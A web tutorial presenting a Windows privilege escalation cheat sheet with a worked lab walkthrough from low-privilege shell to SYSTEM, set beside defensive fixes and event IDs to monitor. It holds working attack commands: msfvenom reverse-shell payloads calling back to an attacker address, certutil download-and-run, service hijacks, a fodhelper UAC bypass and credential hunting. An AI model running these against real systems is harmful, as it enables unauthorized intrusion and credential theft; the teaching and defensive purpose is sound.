GO KALI FREE
IntermediateEthical Hacking

Windows Privilege Escalation Cheat Sheet: How to Escalate Privileges in Windows

Windows privilege escalation cheat sheet: WinPEAS, unquoted service paths, AlwaysInstallElevated and Potato attacks — with a worked lab example.

#windows privilege escalation#windows privilege escalation cheat sheet#how to escalate privileges in windows#winpeas#windows privesc#unquoted service path#alwaysinstallelevated#potato attacks#seimpersonate#windows privilege escalation tutorial

What Is Windows Privilege Escalation?

Windows privilege escalation is when a user or program gains permissions beyond those it started with — moving from a standard account to local administrator, or running code as the highly privileged SYSTEM account. Most privilege escalation is misconfiguration, not exploits: a service path left unquoted, a directory ordinary users can write to, an installer policy left on, or a credential left in a file. This Windows privilege escalation cheat sheet teaches you to find those weaknesses, prove them in a lab, and fix them.

Administrator describes an account or role with local administrative rights. Even an account in the local Administrators group may run applications with a filtered token because of User Account Control (UAC). SYSTEM (NT AUTHORITY\SYSTEM) is a built-in Windows identity with extensive access on the local machine; a service configured to run as LocalSystem uses that identity. SYSTEM on one computer does not make you a domain administrator. In MITRE ATT&CK, TA0004 is the broad Privilege Escalation tactic and T1068 is Exploitation for Privilege Escalation.

Use every technique in this guide only on systems you own or have written authorization to test — your own lab virtual machines, Hack The Box and TryHackMe machines, and authorized penetration tests. Running these techniques against any other system without permission is illegal.

How Windows Privilege Escalation Works

The first question is always: which token are you actually starting from? The same machine presents different findings to a standard user, a background service, and an administrator with a filtered token.

Starting contextCheck firstWhat the result tells you
Standard userGroup membership, integrity level, effective access to a service or taskWhether ordinary users have rights over something a more privileged process trusts
Service accountThe service identity, its duties, and its assigned privilegesWhether the service has more authority than it needs
Administrator with UACWhether the current token is filtered or elevatedWhether an access failure reflects a filtered session rather than missing membership

For each finding, ask: who can change it, and who uses it? A writable file is not necessarily a privilege escalation risk. A file writable by standard users and trusted by a SYSTEM service is a different matter — that is the trust relationship every technique in this guide follows: a lower-privilege identity changes something a higher-privilege process uses.

Before You Run Anything: Check the Defenses

Check the defenses first, before running enumeration tools — they decide which of your tools will even run. Defender may quarantine your payloads, AppLocker may block unsigned binaries, and PowerShell Constrained Language Mode (CLM) may block your scripts.

Get-MpComputerStatus |
    Select-Object AMRunningMode, AntivirusEnabled, RealTimeProtectionEnabled
Get-AppLockerPolicy -Effective -Xml
$ExecutionContext.SessionState.LanguageMode
Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard |
    Select-Object CodeIntegrityPolicyEnforcementStatus, UsermodeCodeIntegrityPolicyEnforcementStatus

If CLM limits a PowerShell query, use native CMD queries for the same information — for example, this loop reads the configuration of two known local services (use %%S instead of %S in a batch file):

for %S in (EventLog W32Time) do @sc.exe qc %S

In a lab, note what is enforced and plan around it: run WinPEAS from a location AppLocker allows, expect Defender to flag common payloads, and keep a CMD fallback ready when PowerShell is constrained. Never disable defenses on a system you do not own.

Windows Privilege Escalation Enumeration: Where to Start

Start with the current token. whoami /priv lists the privileges it holds and their state — Disabled means a privilege is present but not currently enabled, not that it is absent:

whoami /priv

Read groups and integrity next. An Administrators entry marked Deny only indicates a filtered token:

whoami /groups

Use the combined view when you need to record which account, groups, and privileges belong to the same session:

whoami /all

Record the operating system and build before interpreting patch or tool-compatibility claims:

systeminfo

Use sc.exe qc for the configured service account, binary command line, and startup type. Spell out sc.exe in PowerShell so you call the Service Control utility rather than an alias. Use Get-Service for current status — an automatic startup type does not mean the service is currently running:

sc.exe qc LabInventorySvc
Get-Service | Where-Object { $_.StartType -eq 'Automatic' }

Check the patch level and installed hotfixes — kernel exploits only apply to unpatched builds:

Get-HotFix
wmic qfe list brief /format:table

Note that wmic is deprecated on Windows 11; prefer Get-HotFix or Get-CimInstance Win32_QuickFixEngineering there. The enumeration above is the manual baseline — the automated tools in the next two sections run the same checks at scale.

WinPEAS: Automated Enumeration

WinPEAS (Windows Privilege Escalation Awesome Script) is the standard first tool: it scans a Windows system for privilege-escalation vectors and highlights the most promising findings in red and yellow. Download it only from the official peass-ng/PEASS-ng repository, and run it after you get a low-privilege shell:

# On your Kali machine, serve it over HTTP
python3 -m http.server 8000

# On the Windows target, download and run it
certutil -urlcache -f http://192.0.2.10:8000/winpeas.exe winpeas.exe
.\winpeas.exe

WinPEAS flags candidates; it never exploits them. Red means "check this first", yellow means "worth a look" — but a red finding still needs manual verification. Work through the output in order: privileges, services, registry keys, files and credentials. Copy the output to a file for reference:

.\winpeas.exe > winpeas.txt

Keep WinPEAS output private: it lists users, paths, installed software, and sometimes credentials. Never post a raw WinPEAS report publicly.

PowerUp, PrivescCheck, SharpUp and Seatbelt

WinPEAS is the broadest sweep, but four more tools cover the same ground differently — use a second one to confirm what the first flagged.

ToolWhat it doesWhen to use it
PowerUp (PowerSploit)PowerShell module that audits services, registry, and DLL hijacking; Invoke-PrivescAudit lists every vector it can checkWhen you have a PowerShell session and want per-vector checks with exploit commands
PrivescCheckPowerShell script that audits services, registry, files, and credentials; -Extended adds deeper checksWhen PowerUp is blocked or you want a second opinion on the same vectors
SharpUpSmall .NET binary that audits the same vectors without PowerShellWhen PowerShell is constrained (CLM) or you need a single portable executable
Seatbelt.NET enumeration tool that dumps system, user, and security-product informationWhen you want the full host picture (not just privesc vectors) before choosing a vector
# PowerUp (import the module first)
Import-Module .\PowerUp.ps1
Invoke-PrivescAudit

# PrivescCheck
Invoke-PrivescCheck -Extended

# SharpUp (audit mode)
SharpUp.exe audit

# Seatbelt (all groups)
Seatbelt.exe -group=all

PowerUp goes one step further than the others: for several vectors it prints the exact commands to exploit them. Treat those as a starting point and verify each one by hand — a printed command is a lead, not a guarantee.

Unquoted Service Paths

A service command line can contain both an executable path and arguments. If the executable path contains spaces and is not quoted, Windows resolves it ambiguously when launching the service: for C:\Program Files\Lab Inventory\Inventory Service.exe --service, Windows tries C:\Program.exe, then C:\Program Files\Lab.exe, then C:\Program Files\Lab Inventory\Inventory.exe, and finally the real executable. If any directory in that chain is writable by your account, you can plant an executable there and the service runs it as SYSTEM.

Find unquoted paths:

Get-CimInstance Win32_Service |
    Select-Object Name, StartName, StartMode, PathName

Or the classic command, filtering out the safe Windows paths:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\"

Confirm the finding with the service's own configuration and the directory permissions:

sc.exe qc LabInventorySvc
icacls "C:\Program Files\Lab Inventory"

The false positive to avoid: spaces alone are not a problem. The path is only exploitable if a directory in the resolution chain is writable by your account — check with icacls and look for (M) (Modify) or (F) (Full control) granted to BUILTIN\Users or your account. The finding also needs a restart: the payload runs when the service next starts, so you need start/stop rights on the service or a lab VM reboot.

Exploit it in the lab: build a reverse-shell executable with the name Windows will try first, place it in the writable directory, and restart the service:

# On Kali: build the payload (name it for the first resolvable path)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.0.2.10 LPORT=4444 -f exe -o Inventory.exe

# On Kali: listen for the shell
nc -lvnp 4444
:: On the Windows target: copy Inventory.exe into C:\Program Files\Lab Inventory\
:: Then restart the service (or reboot the lab VM)
sc.exe stop LabInventorySvc
sc.exe start LabInventorySvc

When the service starts, Windows runs your Inventory.exe as SYSTEM and your listener receives a SYSTEM shell. Fix it by quoting the executable path — "C:\Program Files\Lab Inventory\Inventory Service.exe" --service — and removing the writable grant.

Weak Service Permissions

There are two separate permission checks: who can change the service object and who can change what the service runs. A locked-down service object does not protect an executable in a writable directory, and a protected binary does not make an overly permissive service configuration safe.

Check who can reconfigure the service:

sc.exe sdshow LabInventorySvc
accesschk.exe -uwcqv "Authenticated Users" LabInventorySvc

Look for SERVICE_CHANGE_CONFIG (reconfigure the service), WRITE_DAC (change its permissions) or WRITE_OWNER (take ownership) granted to your account or a group you belong to. If you can change the configuration, point the service at your own payload:

sc.exe config LabInventorySvc binPath= "C:\Users\lab\shell.exe"
sc.exe stop LabInventorySvc
sc.exe start LabInventorySvc

Note the space after binPath= — it is required. The other route is binary replacement: if the service executable itself sits in a directory you can write to, overwrite it with your payload and restart the service. Check the executable's own ACL separately:

icacls "C:\Program Files\Lab Inventory\Inventory Service.exe"

Verify the result with whoami in the shell you receive — it should read nt authority\system. Fix it by auditing service ACLs, removing SERVICE_CHANGE_CONFIG from broad groups, and keeping service binaries in directories only administrators can write to.

AlwaysInstallElevated

AlwaysInstallElevated is a Windows Installer policy. When it is set to 1 under both the machine policy and the relevant user's policy, an installation started by that user runs with elevated privileges. Check both scopes — a machine value of 1 alone is not enough, and checking HKCU from an administrator session tells you nothing about the standard user's hive:

reg.exe query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated
reg.exe query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated

If both return 0x1, build a malicious MSI and install it quietly:

# On Kali: build the MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.0.2.10 LPORT=4444 -f msi -o evil.msi

# On Kali: listen for the shell
nc -lvnp 4444
:: On the Windows target, as the standard user:
msiexec /quiet /i evil.msi

The installer runs with elevated privileges and your listener receives a SYSTEM shell. Never enable this policy to make routine installs easier — use centrally managed software deployment instead. Fix it by setting both policy values to 0 (or removing the policy) through Group Policy.

Token Impersonation and Potato Attacks

Windows services sometimes need to act on behalf of authenticated clients. SeImpersonatePrivilege — displayed as Impersonate a client after authentication — supports that legitimate design. Possessing the privilege is not equivalent to having a SYSTEM token, but several public tools abuse it to turn an impersonation privilege into a SYSTEM shell. Check whether your token holds it:

whoami /priv | findstr /i /c:"SeImpersonatePrivilege" /c:"SeAssignPrimaryTokenPrivilege"

Potato attacks are a family of techniques that abuse interactions with privileged Windows components to obtain a more privileged impersonation context. Pick the tool for your build — the original JuicyPotato does not work on Windows 10 version 1809 or Windows Server 2019 and later, so check the tool's README for your build:

ToolWhen to use it
PrintSpooferWindows 10 and Server 2016–2019; the simplest first try
GodPotatoNewer builds including Server 2022 and Windows 11
RoguePotatoOlder builds; needs a listening address you control
SweetPotatoNewer builds; alternative to GodPotato
EfsPotatoBuilds where the Encrypting File System RPC path is reachable
JuicyPotatoOnly Windows 10 before 1809 / Server 2016 and earlier — dead on newer builds

Run PrintSpoofer with a command to execute as SYSTEM:

PrintSpoofer.exe -i -c cmd

That opens a SYSTEM command prompt. GodPotato takes the command directly:

GodPotato.exe -cmd "cmd /c whoami"

RoguePotato needs a redirect address (your Kali listener) and a local port:

RoguePotato.exe -r 192.0.2.10 -e "cmd /c whoami" -l 9999

If no Potato tool works, the privilege is still worth recording: SeImpersonatePrivilege assigned to an unexpected service or user context is a finding in itself. Fix it by constraining the privilege to the service accounts that genuinely need it, and by patching — several Potato techniques depend on specific Windows behaviors that updates change.

DLL Hijacking

Some applications load a DLL by name rather than by a fully qualified path. If a privileged application can resolve that name to a library in a directory you can write to, the application loads your DLL with its privileges. Whether it works depends on SafeDllSearchMode, which moves the current directory later in the search order:

reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Find hijackable DLLs with Process Monitor: filter for Result is NAME NOT FOUND and Path ends with .dll while the privileged application runs, and note which missing DLLs it looks for in writable directories. PowerUp can also list candidates:

Find-ProcessDLLHijack

Exploit it in the lab: build a DLL payload with the missing DLL's name, place it in the writable directory the application searches, and run the application (or wait for the service to restart it):

# On Kali: build the DLL payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.0.2.10 LPORT=4444 -f dll -o version.dll

# On Kali: listen for the shell
nc -lvnp 4444

Fix it by securing the application's installation directory, updating the application, and having the application load libraries by fully qualified trusted paths.

Scheduled Tasks and Registry Autoruns

A scheduled task that runs as SYSTEM and executes a file you can modify is a privilege escalation path. List the tasks and their principals:

schtasks.exe /query /fo LIST /v

PowerUp finds the modifiable ones directly:

Get-ModifiableScheduledTaskFile
Get-ModifiableRegistryAutoRun

For a specific task, check its principal and action:

Get-ScheduledTask -TaskName "Lab Inventory Health" |
    Select-Object -ExpandProperty Principal |
    Select-Object UserId, RunLevel, LogonType

If the task's action points at a script or executable in a directory you can write to, replace it with your payload — the next scheduled run executes it as the task's principal. Registry autoruns work the same way: a machine-wide Run entry that points at a writable file runs in a privileged context at logon:

reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg.exe query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Fix it by protecting task actions and autorun targets, running tasks with least-privilege principals, and auditing who can modify task definitions.

UAC Bypass

A UAC bypass only works for an account that is already an administrator with a filtered token. It does not make a standard user an administrator. That distinction is the whole point: the bypass moves a filtered administrator token to a high-integrity token; a standard user has no full administrator token waiting behind the prompt.

The classic method abuses fodhelper, an auto-elevated Windows component. It reads a registry key under the current user's classes hive before launching:

reg.exe add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
reg.exe add HKCU\Software\Classes\ms-settings\Shell\Open\command /f /ve /t REG_SZ /d "cmd /c start cmd.exe"
fodhelper.exe

The new command prompt runs elevated. UACME (Akagi64.exe) automates many such methods — method numbers change between releases, so check its README for the method that matches your build. Check the UAC policy value as part of the review:

reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA

If you are a standard user, stop here: no UAC bypass will give you an administrator token, and the correct next step is a different vector from this guide. Fix it by keeping UAC enabled, removing local administrator rights from accounts that do not need them, and enforcing application control so unsigned bypass tools cannot run.

Stored Credentials

Before reaching for exploits, look for credentials lying around. Credential hunting is often the fastest privilege escalation there is: an administrator password in a setup file beats any exploit chain.

Unattend answer files are a classic find. Windows setup leaves them in known locations, and they can contain local administrator passwords in base64:

dir C:\Windows\Panther\Unattend.xml
dir C:\Windows\Panther\Unattend\Unattend.xml
dir C:\Windows\Sysprep\sysprep.xml
type C:\Windows\Panther\Unattend.xml

Application configuration files are the same problem in a different place. Web applications store database passwords in web.config and appsettings.json, and backup scripts store service credentials in plain text:

findstr /s /i /c:"password" C:\inetpub\wwwroot\*.config
findstr /s /i /c:"password" C:\*.txt C:\*.bat C:\*.ps1

Check the credential store and shell history. cmdkey lists credentials Windows saved for the current user, and PowerShell keeps a command history file that often contains passwords typed on the command line:

cmdkey /list
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

Group Policy Preferences (GPP) passwords are a special case. Old Group Policy files stored local administrator passwords as cpassword values in Groups.xml. Microsoft published the AES key (MS14-025), so anyone who can read the file can decrypt the password. The gpp-decrypt tool does exactly that:

# On Kali, if you recovered a cpassword value from a Groups.xml file
gpp-decrypt <cpassword-value>

The fix is the same everywhere: never store credentials in files, scripts, or configuration. Use a secrets manager or Group Policy-managed local administrator passwords (LAPS) instead, and rotate any password you find in a file.

Kernel Exploits

When no misconfiguration exists, the kernel itself may be vulnerable. Kernel exploits are the last resort in this guide — they crash machines, they are version-specific, and they are the easiest way to turn a lab exercise into a blue screen.

Check applicability before trying anything. Watson and WES-NG compare the installed hotfixes against known exploit databases and tell you which kernel exploits might apply to this build:

# Watson: lists missing KBs and the exploits that target them
Watson.exe

# WES-NG (run on Kali against a systeminfo dump)
wes.py systeminfo.txt

Cross-check the suggestions against the Microsoft Security Response Center (MSRC) and the CISA Known Exploited Vulnerabilities (KEV) catalog before running anything. Two real examples show the shape of this vector:

  • HiveNightmare (CVE-2021-36934) — a permissions flaw on the SAM, SYSTEM, and SECURITY registry hives let low-privilege users read credential material. It applied to specific Windows 10 and 11 builds; the fix was a patch plus correcting the hive ACLs.
  • PrintNightmare (CVE-2021-34527) — a flaw in the Windows Print Spooler that allowed remote code execution and local privilege escalation. The fix was a patch and, in the short term, disabling the Print Spooler service on systems that did not need it.
  • Rules for kernel exploits in the lab: take a VM snapshot first, expect a blue screen, run the exploit only when Watson or WES-NG says the build matches, and stop after one failed attempt — a second try on a mismatched build is how you corrupt a system. If the build is patched, move on to another vector. A patched kernel is a dead end, not a challenge.

    Privilege Reference: What Each Privilege Gives You

    whoami /priv lists privileges, but the names do not explain themselves. This table is the translation:

    PrivilegeWhat it gives an attacker
    SeImpersonatePrivilegeImpersonate a client after authentication — the basis of every Potato attack
    SeAssignPrimaryTokenPrivilegeAssign a primary token to a process — run code as another user
    SeDebugPrivilegeDebug (read and write the memory of) other processes, including SYSTEM processes
    SeBackupPrivilegeRead any file on the system regardless of its ACL — copy the SAM and SYSTEM hives
    SeRestorePrivilegeWrite to any file on the system regardless of its ACL — overwrite binaries and configs
    SeLoadDriverPrivilegeLoad a kernel driver — a direct path to kernel code execution
    SeTakeOwnershipPrivilegeTake ownership of any object, then change its permissions
    SeTcbPrivilegeAct as part of the operating system — the most powerful privilege on the box

    A privilege is only useful if it is enabled or can be enabled in your token, and only in the context that holds it. Record the full whoami /priv output before deciding which vector to pursue.

    Worked Example: From Low Shell to SYSTEM in the Lab

    This example ties the guide together on a lab Windows VM. Every step runs on a machine you own, against a service you installed yourself. All outputs are illustrative — your paths, service names, and addresses will differ.

    Step 1 — Start with a low-privilege shell. You have a standard user shell on the lab VM. Check the token first:

    whoami
    :: lab\testuser
    
    whoami /priv
    :: (illustrative output)
    :: PRIVILEGE NAME              DESCRIPTION                          STATE
    :: =========================== ================================== ========
    :: SeChangeNotifyPrivilege     Bypass traverse checking             Enabled
    :: SeImpersonatePrivilege      Impersonate a client after auth.    Enabled
    

    Step 2 — Run WinPEAS and read what it flags. Serve WinPEAS from your Kali machine and run it on the target:

    # On Kali
    python3 -m http.server 8000
    
    # On the Windows target
    certutil -urlcache -f http://192.0.2.10:8000/winpeas.exe winpeas.exe
    .\winpeas.exe
    

    WinPEAS highlights an unquoted service path in red: LabInventorySvc runs C:\Program Files\Lab Inventory\Inventory Service.exe --service.

    Step 3 — Verify the finding by hand. Confirm the service configuration and check whether a directory in the resolution chain is writable:

    sc.exe qc LabInventorySvc
    :: (illustrative output)
    :: BINARY_PATH_NAME : C:\Program Files\Lab Inventory\Inventory Service.exe --service
    
    icacls "C:\Program Files\Lab Inventory"
    :: (illustrative output)
    :: BUILTIN\Users:(M)
    

    BUILTIN\Users:(M) means ordinary users can modify that directory. The path is genuinely exploitable.

    Step 4 — Build the payload and listen. On Kali, build a reverse shell named for the first path Windows will try (C:\Program Files\Lab Inventory\Inventory.exe), and start a listener:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.0.2.10 LPORT=4444 -f exe -o Inventory.exe
    nc -lvnp 4444
    

    Step 5 — Plant the payload and restart the service. Copy Inventory.exe into C:\Program Files\Lab Inventory\ on the target, then restart the service:

    sc.exe stop LabInventorySvc
    sc.exe start LabInventorySvc
    

    Step 6 — Confirm the result. The listener receives a connection. Check who you are:

    whoami
    :: nt authority\system
    

    That is the full chain: enumeration found the vector, manual verification confirmed it, and a single service restart turned it into a SYSTEM shell. In a real assessment you would stop here, document the finding, and report it. The fix is to quote the service path and remove the writable grant from the directory.

    Windows Privilege Escalation Cheat Sheet

    CheckCommandWhat to look for
    Current privilegeswhoami /privSeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege
    Groups and integritywhoami /groupsAdministrators marked Deny only (filtered token)
    Full tokenwhoami /allAccount, groups, and privileges in one view
    OS and buildsysteminfoBuild number — decides which exploits apply
    HotfixesGet-HotFixMissing KBs — feed them to Watson or WES-NG
    Service configsc.exe qc <service>Unquoted path with spaces, service account
    All servicesGet-CimInstance Win32_ServicePathName, StartName, StartMode for every service
    Unquoted pathswmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\"Paths with spaces outside C:\Windows
    Directory permissionsicacls "<path>"BUILTIN\Users (M) or (F) on a directory in the chain
    Service ACLsc.exe sdshow <service>SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER for your account
    Service ACL (tool)accesschk.exe -uwcqv "Authenticated Users" <service>Same checks, readable output
    AlwaysInstallElevatedreg.exe query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevatedMust be 1 in BOTH HKLM and HKCU
    Scheduled tasksschtasks.exe /query /fo LIST /vTasks running as SYSTEM with writable action files
    Autorunsreg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"Machine autoruns pointing at writable files
    Stored credentialscmdkey /listSaved credentials for the current user
    PowerShell historyGet-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"Passwords typed on the command line
    UAC policyreg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUAUAC on or off
    DLL search modereg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchModeSearch order for hijackable DLLs
    Automated sweep.\winpeas.exeRed and yellow findings, verified by hand
    Second opinionInvoke-PrivescAudit (PowerUp)Per-vector checks with exploit commands

    Troubleshooting Windows Privilege Escalation Problems

    ProblemFix
    WinPEAS finds nothingRun a second tool (PrivescCheck or SharpUp); check the defenses — Defender or AppLocker may have blocked it, and CLM may have limited it
    Access denied on a serviceYou lack SERVICE_CHANGE_CONFIG or start/stop rights — check with sc.exe sdshow and move to a different vector
    Payload does not run after a service restartCheck the payload name and path match the first resolvable path; check the service actually restarted (Get-Service); check Defender quarantined it
    Potato tool failsWrong tool for the build — check the README and the picker table; verify SeImpersonatePrivilege is actually in your token
    msiexec is blockedAlwaysInstallElevated needs BOTH registry values at 1 — check HKCU from the standard user's own session, not an admin session
    Defender deletes the payloadExpected behavior in a lab — use a location AppLocker allows, or a payload Defender does not flag; never disable defenses on a system you do not own
    No SeImpersonatePrivilege in the tokenPotato attacks are off the table — pivot to service paths, scheduled tasks, credentials, or kernel checks
    UAC prompt blocks the bypassUAC bypass only works for an administrator with a filtered token — a standard user has no full token to unlock; use a different vector

    Common Mistakes

  • Treating a privilege as exploitable just because it is listed — a Disabled privilege still needs to be enabled, and some privileges only matter in the right context.
  • Calling an unquoted service path exploitable without checking directory permissions — spaces alone are not a finding.
  • Checking AlwaysInstallElevated in HKLM only — both scopes must be 1, and HKCU must be checked from the standard user's session.
  • Running WinPEAS and trusting every red line — automated tools flag candidates; each one needs manual verification.
  • Using JuicyPotato on Windows 10 1809 or newer — it does not work there; pick the Potato tool for the build.
  • Trying a UAC bypass as a standard user — it cannot give you an administrator token you do not have.
  • Posting raw WinPEAS output publicly — it lists users, paths, software, and sometimes credentials.
  • Detection and Defense

    Privilege escalation leaves traces. If you defend Windows systems, these are the signals to watch, and the fixes to apply.

    Windows Event IDs to monitor:

    Event IDWhat it means
    7045A new service was installed
    4697A service was installed on the system
    4698A scheduled task was created
    4688A new process was created (with command-line logging enabled)

    Sysmon Event IDs to monitor:

    Event IDWhat it means
    1Process creation
    11File creation
    12, 13, 14Registry object create/delete and value set
    17, 18Named pipe created / connected

    Defensive fixes, in priority order:

  • Quote every service path and audit service ACLs — remove SERVICE_CHANGE_CONFIG from broad groups.
  • Never enable AlwaysInstallElevated — use centrally managed software deployment instead.
  • Patch promptly — kernel exploits and Potato techniques depend on specific builds.
  • Constrain SeImpersonatePrivilege and SeDebugPrivilege to the service accounts that genuinely need them.
  • Use LAPS for local administrator passwords and Credential Guard to protect stored credentials.
  • Enforce AppLocker or WDAC so unsigned enumeration and exploit tools cannot run.
  • Keep UAC enabled and remove local administrator rights from accounts that do not need them.
  • Audit scheduled tasks and autorun entries, and protect the files they point at.
  • Windows Privilege Escalation vs Linux Privilege Escalation

    The method is the same on both systems — enumerate, find a trust relationship a lower-privilege user can change, prove it, fix it. The details differ:

    WindowsLinux
    First checkwhoami /priv and service configurationsudo -l, SUID binaries, and capabilities
    Automated enumerationWinPEASLinPEAS
    Service misconfigurationUnquoted service paths, weak service ACLsWritable systemd units, SUID binaries
    Installer vectorAlwaysInstallElevatedWritable cron jobs and sudo rules
    Token abusePotato attacks (SeImpersonatePrivilege)Sudo token reuse, capabilities
    Kernel exploitsWatson / WES-NG, HiveNightmare, PrintNightmareDirty Pipe, PwnKit, kernel CVEs
    Credential huntingUnattend.xml, GPP cpassword, cmdkeyHistory files, config files, /etc/shadow access

    The full Linux side is covered in our Linux Privilege Escalation Guide — the enumeration mindset transfers directly, and many testers learn one platform first and the other second.

    Where to Practice Legally

  • Hack The Box Academy — the "Windows Privilege Escalation" module walks through enumeration, service abuse, and Potato attacks on lab machines.
  • TryHackMe — the "Windows PrivEsc" rooms (including the Arena) give you a vulnerable Windows VM and a guided path to SYSTEM.
  • TCM Security — the "Windows Privilege Escalation for Beginners" course covers the same vectors in video form, with lab setup included.
  • Your own lab VMs — a Windows 10 or 11 virtual machine with a vulnerable service you installed yourself is the best practice ground of all: you control the snapshots, the defenses, and the reset button.
  • Is Windows Privilege Escalation Legal?

    Privilege escalation is legal only with permission: your own machines, lab virtual machines, Hack The Box and TryHackMe machines, and authorized penetration tests with written scope. Running these techniques against any other system without permission is illegal — in the United States under the Computer Fraud and Abuse Act (CFAA), in the United Kingdom under the Computer Misuse Act 1990, and under equivalent laws elsewhere. Practice only where you have explicit authorization, and keep your notes and payloads in your own lab.

    Conclusion

    Windows privilege escalation is mostly misconfiguration: unquoted service paths, weak service permissions, AlwaysInstallElevated left on, credentials in files, and privileges granted wider than they need to be. Enumerate first with whoami /priv and WinPEAS, verify every finding by hand, prove it in a lab, and fix the trust relationship that made it possible. Kernel exploits and Potato attacks fill the gaps, but the misconfigurations are where most escalations — and most fixes — live.

    Knowledge Check

  • What is the first command to run when you get a low-privilege Windows shell?
  • What does WinPEAS do, and does it exploit anything?
  • What makes an unquoted service path exploitable?
  • Why must AlwaysInstallElevated be 1 in both HKLM and HKCU?
  • Which Potato tool is the simplest first try on Windows 10 and Server 2016–2019?
  • Why does JuicyPotato fail on Windows 10 version 1809 and later?
  • What is the difference between Administrator and SYSTEM?
  • Why does a UAC bypass not work for a standard user?
  • Answers: 1. whoami /priv — it lists the privileges in your token and decides what to check first. 2. WinPEAS scans for privilege-escalation vectors and highlights candidates in red and yellow; it never exploits anything — every finding needs manual verification. 3. The path contains spaces and is not quoted, and a directory in the resolution chain is writable by your account, so Windows runs your executable as SYSTEM when the service starts. 4. The policy only takes effect when both the machine policy and the user's policy are set to 1; one scope alone is not enough. 5. PrintSpoofer — run PrintSpoofer.exe -i -c cmd for a SYSTEM command prompt. 6. JuicyPotato depends on Windows behaviors that changed in build 1809; use PrintSpoofer or GodPotato on newer builds. 7. Administrator is an account role with local administrative rights (often filtered by UAC); SYSTEM (NT AUTHORITY\SYSTEM) is the built-in identity services run as, with extensive access on the local machine. 8. A UAC bypass only elevates a filtered administrator token to a high-integrity token; a standard user has no full administrator token behind the prompt.

    Keep Learning

  • Linux Privilege Escalation Guide
  • Reverse Shell Guide
  • Metasploit Fundamentals
  • Active Directory Fundamentals
  • BloodHound Guide
  • WinPEAS
  • Metasploit Framework
  • BloodHound
  • Mimikatz
  • Frequently Asked Questions

    What is Windows privilege escalation?

    Windows privilege escalation is gaining permissions beyond those you started with — moving from a standard user account to local administrator, or running code as SYSTEM. This Windows privilege escalation cheat sheet focuses on the common reality: most escalation is misconfiguration, not exploits — an unquoted service path, a writable directory, an installer policy left on, or a credential left in a file.

    What is the first thing to check when escalating privileges on Windows?

    Run whoami /priv to see which privileges your token holds, then whoami /groups to see your group membership and integrity level. Those two outputs decide everything else: SeImpersonatePrivilege points at Potato attacks, SeDebugPrivilege at process memory, and a filtered administrator token at UAC bypass. After that, run WinPEAS for the automated sweep.

    What is an unquoted service path?

    An unquoted service path is a service command line with spaces that is not wrapped in quotes, for example C:\Program Files\Lab Inventory\Inventory Service.exe. Windows resolves it ambiguously, trying C:\Program.exe, then C:\Program Files\Lab.exe, and so on. If a directory in that chain is writable by your account, you can plant an executable there and the service runs it as SYSTEM. Confirm it with icacls — spaces alone are not a finding.

    What are Potato attacks?

    Potato attacks abuse SeImpersonatePrivilege to turn an impersonation privilege into a SYSTEM shell. The family includes PrintSpoofer (Windows 10 and Server 2016-2019, the simplest first try), GodPotato and SweetPotato (newer builds including Server 2022 and Windows 11), RoguePotato (older builds), and EfsPotato. JuicyPotato only works on Windows 10 before version 1809 and Server 2016 and earlier.

    Do I need exploits to escalate privileges on Windows?

    Usually not. Most Windows privilege escalation is misconfiguration: unquoted service paths, weak service permissions, AlwaysInstallElevated, stored credentials, and writable scheduled-task files. Kernel exploits are the last resort — they are version-specific, they can blue-screen the machine, and they only apply to unpatched builds. Check misconfigurations first.

    Does UAC bypass work as a standard user?

    No. A UAC bypass only elevates an administrator account running with a filtered token to a high-integrity token. A standard user has no full administrator token behind the prompt, so there is nothing for the bypass to unlock. If you are a standard user, use a different vector from this guide.

    Does WinPEAS exploit vulnerabilities automatically?

    No. WinPEAS only scans for privilege-escalation vectors and highlights the most promising findings in red and yellow. It never exploits anything. Every finding still needs manual verification — check the service configuration, the directory permissions, and the token yourself before acting on it.

    What is the difference between Administrator and SYSTEM?

    Administrator is an account role with local administrative rights, and even an administrator's applications often run with a filtered token because of User Account Control (UAC). SYSTEM (NT AUTHORITY\SYSTEM) is a built-in Windows identity with extensive access on the local machine — services configured to run as LocalSystem use it. SYSTEM on one computer does not make you a domain administrator.

    What is the best tool for Windows privilege escalation?

    WinPEAS is the best first tool: it scans services, registry keys, files, credentials, and privileges in one run and highlights the most promising findings. Use PowerUp as a second opinion — its Invoke-PrivescAudit prints per-vector checks and, for several vectors, the exact commands to exploit them. Confirm everything by hand either way.

    How do I practice Windows privilege escalation legally?

    Practice only on systems you own or have written authorization to test: your own lab virtual machines, the Hack The Box Academy Windows Privilege Escalation module, TryHackMe Windows PrivEsc rooms, and the TCM Security Windows Privilege Escalation for Beginners course. Running these techniques against any other system without permission is illegal.

    What is SeImpersonatePrivilege?

